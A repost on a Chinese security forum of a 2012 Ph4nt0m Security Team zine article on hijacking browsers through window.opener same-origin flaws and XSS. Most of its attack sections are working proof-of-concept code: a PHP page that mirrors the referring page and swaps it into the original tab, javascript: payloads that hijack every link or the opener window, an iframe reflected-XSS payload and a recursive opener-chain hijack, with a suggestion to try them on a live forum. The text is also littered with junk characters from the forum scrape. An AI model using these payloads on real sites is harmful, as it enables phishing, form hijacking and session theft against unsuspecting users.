找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
+ _) B9 l5 ~" X; T 1 S& E1 B/ S& ~% q0 l7 i
                       Issue 0x03, Phile #0x05 of 0x07
1 O# g, ~/ n! _5 ~
2 ~. k  p: V. J+ x* J8 Z# u2 H! n' E6 G9 I9 Z, p
|=---------------------------------------------------------------------------=|+ t% |( i, X7 Z  ]
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
1 d6 T0 \5 L9 j|=---------------------------------------------------------------------------=|
. ~0 ^/ V* O! }' {' G1 w# N|=---------------------------------------------------------------------------=|
3 ?# A# Z8 x' P" o7 F|=------------------------=[      By rayh4c     ]=---------------------------=|
+ h$ l2 j" g7 y/ A0 r9 i|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
# w6 E  x* K# O2 X6 v|=---------------------------------------------------------------------------=|" M; V' b( T2 }. X
5 Z/ z0 D6 `) R/ ?6 W& s

9 L) K- F8 R& X& K4 J4 p[目录]
% W4 }+ }; }0 K- f* ?7 m0 c8 s+ S! k; M  E% ^
1. 前言
3 q0 s# f% j: G1 a: X2. 同源策略简叙6 {5 u: o* a7 Y/ O
3. 理解window对象的同源策略
. }$ o1 e* d: t: m7 Z( |! _8 E3 l4. 窗口引用功能中的同源策略漏洞
; W6 P- S$ S& _5 {  G4 d3 D  4.1 父窗口引用子窗口的同源策略问题
8 {! Q) g% K. D  N& d  4.2 子窗口引用父窗口的同源策略问题5 s0 a  u: P$ ~
5. 利用窗口引用漏洞劫持浏览器* E9 J4 r  u  I5 Q, S$ }9 `
6. 利用XSS漏洞劫持浏览器$ o9 B9 a$ o0 M4 s- c  P
  6.1 正向跨窗口劫持
2 O6 _" h: S, O8 @$ t" r4 F  6.2 反向跨窗口劫持% h- i* Y& y5 j
  6.3 极度危险的跨框架窗口引用劫持. `( |6 _  m3 J" n$ R* z6 }8 F* u
  6.4 极度危险的正反向跨窗口递归劫持* O, h. g$ Q2 `. w( r5 N2 w# R
  6.5 完全控制浏览器! x1 H& x0 {+ o  N( F
7. 后记4 g  ~& T% p) }) E# S4 n
8. 参考; y4 V" n2 P& L# V

& D; ^, b5 C5 O4 p! v
0 q* X: m! E$ K! t一、前言6 A/ t' e$ V8 t

1 A( t' s  G6 c8 I( N5 J    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
/ y' Q0 S7 f# N0 j, Q友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
  V) w$ Y0 [/ w* e' `1 c" i; A1 b. T' R3 `劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* V9 [/ q7 v# I9 T3 w# [
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, z2 R! m1 W. Y+ _7 I

4 _: ^5 J7 H1 U
9 E, h- [" `3 d% H: i+ |二、同源策略简叙
% J3 n% g7 H: S4 K% V) F$ D6 J5 q% {$ @4 {% z
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以6 |% S/ b* E6 K! j5 k# h7 o0 I
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都3 V0 S. Z$ i: r) i) `3 o& e
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 l2 |" `4 o! L3 v6 ?8 w马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
% k# A( x9 w. q漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
7 U" C$ m. }! x8 J& \) x- o; ?0 _3 r2 |

' s  C2 z4 f# s5 a8 ]1 U1 h( V* r三、理解window对象的同源策略" \) m/ g& B! ?9 V3 S! J% ]. F+ X

1 _& a6 h( k; y9 i+ ?9 _$ l& M    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
$ l/ m' n$ O4 a2 i象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
' Q, O; h% E! Z# s# T0 e' D$ S7 x: `3 o) |# P6 ^8 x% v
--code-------------------------------------------------------------------------
- H0 Z6 a/ l7 X. Q9 {<script language="javascript">
! q' _! I( Y# X; i; s2 l6 Jfor(p in window) document.write(p+"<br>");. }6 k6 V6 R9 Z) {) r# w& U: g
</script>$ b% H+ |" w4 L& O: X- U
-------------------------------------------------------------------------------
$ d: |( X0 I) q# L3 r% m" T! e8 ?  D$ ^5 E4 p
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
! ~4 ?& H; y% X法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,$ E, u% T% A3 h/ b3 x
这些属性和方法就必须遵循同源策略。" y3 x4 ?& y+ Z: n* c

7 E0 z; I$ ^/ m2 |+ f4 j    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
2 N. M# Z3 Z' O* U么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须/ p1 a" ?0 s7 k2 h' Y
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这# h9 V7 n! S6 k" n/ R0 X
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
& n$ S, k$ B, X5 S. `值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
" K, V: Q" U# @7 U% ]属性并没有被拒绝访问。
- e( v# p2 d% v" d- v. z4 y1 N
( y  @0 v% B2 r  X1 k' k--demo.html--------------------------------------------------------------------
3 c/ y" z* i; L<script language="javascript">   " O3 D: K, K6 q; |7 P( N
function allPrpos(obj) {      
; N2 }& K; |5 B! q* a- |# H  q      var props = "<table><tr><td>名称</td><td>值</td>";           
$ S+ K7 J4 j! |      for(var p in obj){          3 I, }/ M; Y$ ?
            if(typeof(obj[p])=="function"){   
+ n+ \! S) |" }) j, ~- b                   obj[p]();   , N6 k( Z' W# ?+ U
             }else{                      3 O& f1 v: v; D+ |+ ?) r- A$ |
                  try   
. g& t4 e; ]3 h) }- L                   {   8 ?3 |7 J5 h7 w4 X
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
" u, ~" s8 \5 h8 @9 `                   }   
8 V& b3 H% O1 L$ U3 c* G                  catch (ex)   
1 O0 r5 g2 L7 E9 a4 ?7 o2 _7 ]                   {   
2 m8 s  Q* g! e% C1 z                  
2 g0 ]0 |' K- N1 }: |                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ( y7 q& ?' n1 t' v6 y
                   }   
: {* S! h0 G  A, W0 `                       5 e+ F* q& g5 M6 R6 F/ {
             }   
$ R7 ^' _) F8 b) d+ W! {& B3 W       }   6 p1 I! ^2 T& \% Z
   6 N: b* a5 @3 z0 B# U5 d  o
       document.write(props+"</table>");   
5 y( K7 J% b$ O6 @8 ?}   
+ @1 I! Y; F1 m8 V2 M$ Z   ) r: e) @5 r3 T3 M1 I8 M" y8 y
function createWin() {
( L" [( G6 i, U7 v. T        newWin = window.open ("http://www.google.com");  
! Q* ^4 c. N5 d- |        setTimeout(function(){allPrpos(newWin)},2000);
9 u/ ?! h+ d8 Q& g} ; }. V+ G+ \; ^) o3 ]8 J

3 V7 B% U' M; m9 v0 ]$ L6 U+ Z</script> " U7 _& [4 P3 w5 |& ^9 Q' [
6 L4 o2 \" r8 x/ v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
+ x% C  |7 A- O# H; {-------------------------------------------------------------------------------
' V9 v8 P8 d: |6 ~* \/ G
$ a# c: J5 i& ~' M+ {' }  l
* U& L: p7 ~- Z* i. M- |7 o四、窗口引用功能中的同源策略漏洞
) i" N# f1 d$ c0 p+ O5 X6 L3 }( A5 [% a/ v
4.1 父窗口引用子窗口的同源策略问题
9 m) m  [/ C; w( @1 T% B$ e1 A$ ]3 C
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
9 M; m6 A! N4 a  L7 G, W但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
6 k, r" j2 A1 F1 w6 k( v浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
' T7 x/ {% z6 @5 E0 w- ]+ ]' g行测试,会发现父窗口可以控制非同源子窗口location属性值。; R1 T0 b4 S+ {

; P* Z  [9 R( Z1 M6 v9 P* J% v--vul1.html--------------------------------------------------------------------1 N) W& J" o. \8 F# D" s; D4 q& N5 @
<script language="javascript"> 3 J! ^* S& U. U- |0 f7 t$ c  M% ]6 w
function createWin() {  % V7 k0 D) v. z+ g
        newWin = window.open ("http://www.google.com");  4 U5 y" I5 H4 m0 k$ `
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); / I9 B% K5 i9 t( l3 n9 [
}
; j: K6 c8 w. Z  W</script>
0 j, V6 ]0 f$ r3 S
: Y4 B- b* [$ i* {+ D0 Z; z+ c8 x<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ \. K5 ]9 g# {( U6 e( \-------------------------------------------------------------------------------
8 g: q, ]: h0 M; ~1 _& `" g( R+ R5 E
7 \% D0 _6 B( l4 d2 d; W8 W  L5 q( T
4.2 子窗口引用父窗口的同源策略问题
2 X( s% @5 m# r- e9 H: F7 y4 U3 e) d2 t2 B5 j. Y
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使* ?* y5 b8 J' x& |
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们# f8 J, }; P0 K
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
  {  j6 M0 q% |0 d3 R$ R会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。- U" h4 A0 L2 j" x% s, ^1 B

/ p( W- k. h! Y' R7 y--code-------------------------------------------------------------------------, f6 L2 }  N" m' d! H' {9 I, Z. g

, P, X& V  ?; ^# hjavascript:window.opener.location = "http://www.80sec.com";void(0);5 L( L& g: E) Z

+ p) z+ P: R- f- x0 W) I-------------------------------------------------------------------------------
5 B5 l% ~" [1 v9 `# P0 f( `6 X( L1 |" x9 S% N$ y/ l

* P2 [7 Z* P3 |# ^, }8 Q, s五、利用窗口引用漏洞劫持浏览器' O. X# r8 m/ F: n

$ P# J, \& x( V2 E! m    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子$ `8 P+ F0 ?, e1 Y+ B
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
/ g8 j6 ]+ J, F) t7 \1 P' [+ ~0 C么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。% N' S  _. s- I6 T7 H
' o$ y# ^) B3 X$ _+ M* r" l: S6 K5 g
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
! x/ O2 U. L4 G生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
7 @' G5 }5 f" C4 x& I6 W$ @者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接& l7 y0 |5 k  w- n: l" ~$ C
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下6 m6 m: j/ s0 [, m) h+ ~, X  [
会产生什么可怕的后果。
$ K* E+ t6 F5 I6 V9 W" [* j+ f. S& x! T4 p7 }) U
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
: P  J2 Y* X2 `0 C6 ^; ?+ u们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
" x& n( a' j4 e8 U2 |2 O& |这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时0 T& T& F# M8 r) f- f5 T
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
7 T! A. t3 n  [2 ^以做更多的事情,所有的一切仅仅是因为点击了一个链接。. w& \" B3 F4 U6 K/ {% F% c
1 [5 n( w% b1 J) ?; y
--hjk_ref.php------------------------------------------------------------------8 d/ t4 o2 n% I* }
<?php
( e8 ]5 [) A1 l0 W  \  jif (array_key_exists("HTTP_REFERER", $_SERVER)) {0 q3 x# H! q0 o" a0 ^
$Url_Mirror = $_SERVER["HTTP_REFERER"];
. D/ u# y) f+ `. l} & [/ i2 Q/ c" @" T* ^( z
if(isset ($_GET['ref'])) {: P5 a% \- C2 V  O, p+ Z  k
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
6 |8 U' y* _& Z' z* F3 W. A}
( K8 o( q( P2 w?>
" h% b- \& `7 s1 u6 f% e( O: s; }  [) h
<script language="javascript">
" v7 U7 c. Q' o3 _setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         ; m0 ^/ [- ^9 n; e6 }/ u
</script>
0 b) v- |( z% y& J-------------------------------------------------------------------------------
: [) P- w" R1 I# H. U3 |6 D; @/ [5 x  y: b$ b( N5 y
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。0 t* v4 O' A6 _2 k+ C% }
  |+ Y( k1 N4 _
: u0 r$ C/ p! q3 \2 P; r
六、利用XSS漏洞劫持浏览器
% i% \0 p9 Y5 }/ q9 k0 m* ^2 v1 {5 l( L
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为6 a) ^9 f  B; U5 D+ T9 z
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
# e, J) e3 b2 g4 EXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起! K7 ~- F. O1 D& ~: S' E
讨论跨站师的终极技巧:
/ B6 C7 w' N5 B; p) d! W# Z; x& y# O% r# z$ o; D0 I  S& r

' u) J. a( N- F% v8 E6.1 正向跨窗口劫持
, ]" }3 ]) E4 K/ P, a+ G9 |  W0 O! N- d
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
4 g7 {( }) T% K. R" I5 M主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
9 p9 P$ ~+ d" g, \! M接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
2 {- t- U) ~+ l0 c框脚本。 & H3 Y, \+ ^! r  \
5 f( W- Y9 u8 m
--hijack_open.js---------------------------------------------------------------% t1 F  @9 y0 d3 d# L5 e* [

, M: N5 [9 R. x' i* ?javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);5 I! W! `( M( T6 z
. o' P, U" k& y: o& L- g  b/ a
-------------------------------------------------------------------------------4 O& d/ u$ G7 p" ^, O. ?8 F' l: l

8 L6 ^( P0 L2 `$ n' H
; x; D" O  h6 R* U  G: e" _6.2 反向跨窗口劫持
% Z1 u  H; C, q" ^
7 X, n! x9 }+ ^    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
0 n, S! ^3 e) y+ r码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话/ \9 }6 T7 W9 s: `. ^! z" M
框脚本。
7 c0 s8 ~, l, x$ d& R8 c3 c) t, p
! K0 ?6 x& `2 O5 i5 h--hijack_opener.js-------------------------------------------------------------
- M- H7 A# ?  v8 J- i+ ~8 k" q% k
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);8 }- K% P5 K& b9 t- W, G* j
) M0 B/ _, Y* h6 {' o$ k0 C" [9 M
-------------------------------------------------------------------------------
  j$ S5 Z8 y, a; G  H% W
+ R, N+ y! {  Z4 T2 x4 A- t
# N* Z/ I! o* f0 W5 M6.3 极度危险的跨框架窗口引用劫持0 ^6 \4 N0 U( H* `

) A, d! n; {# k0 d# i1 j    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞9 W6 z- n) }9 w& ^9 @0 M! t$ t
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
/ t, I$ x3 s/ Z适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
1 j3 }/ B% P# Q) }! r. ~非持久型的XSS,如下:
1 B$ X7 l( J1 n. v0 N
- K: N& q! B+ h# }<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
1 A7 f, \" I- V. {/ S9 e" T- M2 M# ^) ?5 [& c0 h& Q1 Y  [4 o
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
( Q6 [' N  a0 k7 X注入脚本。3 ^# U% m. ^9 d6 ^" I( t& a! A1 E

* V* F8 C% O( t/ f--hijack_frame_opener.js-------------------------------------------------------" K1 }. H# O* s" U$ z
<script>
# C0 p+ }8 |: Mwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
" ]! `* Q2 ~' S- v</script>
0 ^& C' ?( ^' v1 |: z( P( w-------------------------------------------------------------------------------) ^, @# c! x. a0 E7 j1 |

( [+ N8 k" w' m. x" p
9 x  w5 M7 f$ _  C  o6.4 极度危险的正反向跨窗口递归劫持6 _/ a  |* A1 J) j

7 v' P5 b- D! F6 K7 d    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window% a( n7 U) m6 ^4 \
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
- `$ Q5 h2 q6 W  `! i1 p$ i# R: c异常处理规避之间跨域页面的访问异常,代码如下:
* X9 i0 I) B, }- l0 y3 r: _) |
' W4 D! j9 d) I1 b--code-------------------------------------------------------------------------
) w$ i5 f7 _0 V! q+ S) Z/ H. R; B1 Z: D! ~% u; X4 L
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);$ W' z. c% C" E+ W! S- y
- I! |9 L3 t7 R1 X5 }! Z" l
-------------------------------------------------------------------------------
+ r& b# Y+ g, n! C8 r# P. I0 a% b  F, C. D
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可% l- \; Y( J1 r, V3 C/ _7 v
以劫持B域之前的A域页面,从而实现“隔空打击”。
" [& M) D* C0 e& B7 ~- b: _0 z; I* r% L0 p$ c' ~% Q& M
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面9 J& b% D2 Z) b* h0 k8 I
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
( g- x0 j! V6 L- v' D
! r: q2 v0 s4 X6 T    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。$ `$ o" P: \6 K# i  \& X- j- z% O. S
1 K  ^4 N4 v, t5 K
4 \  L* p0 n8 H- e; u. V( k
6.5 完全控制浏览器
( n+ q& j2 k& s, D0 W
9 N/ }0 M! ?! \6 _  _    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
( i) j* U; _8 N; [' I) k是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS- b, y3 a# S; e7 W0 k9 A3 j
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失- L6 S! Y* f  f5 I
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
# W) ~4 L5 k5 z- o/ C列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
, ^% S$ K9 u" N: ^师的终极目标 - 完全控制浏览器。; `4 u. R9 W: |! U/ H% v

4 K6 ?; Z/ D) U8 Q0 z7 L4 A% A6 \7 L8 B
七、后记* _7 i) T/ J4 }4 y* q/ ]
) g2 ?% _& j" q1 {# g
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全4 U& M) X" \  ~& j  _$ x
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予( s' V' |% U" `# Y  f( r
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。9 O6 |4 K8 A" q2 X% [1 J
2 w/ ~9 h! E! ?

0 u! z4 n0 L: n4 v八、参考
6 e* L& h9 I9 A" B$ Y: Y" W/ y7 H' T4 M: V* m* P
1. http://en.wikipedia.org/wiki/Same_origin_policy
9 _$ t- B/ b" ^  [2. http://code.google.com/p/browser ... licy_for_DOM_access2 \  ^3 k: U9 ?6 w% w0 E
3. http://www.w3.org/TR/Window/
; W0 {1 V* c5 W% u% m1 U4. http://www.80sec.com/release/browser-hijacking.txt
7 e- |- p8 I& i1 r5. http://www.80sec.com/all-browser-security-alert.html) L. t& X! ]) d
6. http://www.80sec.com/ms08-058-attacks-google.html
+ ]" }( B; O2 |6 p( x5 M) B* m! l, z* ]" v3 J# ^( R+ C. P# L; x
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表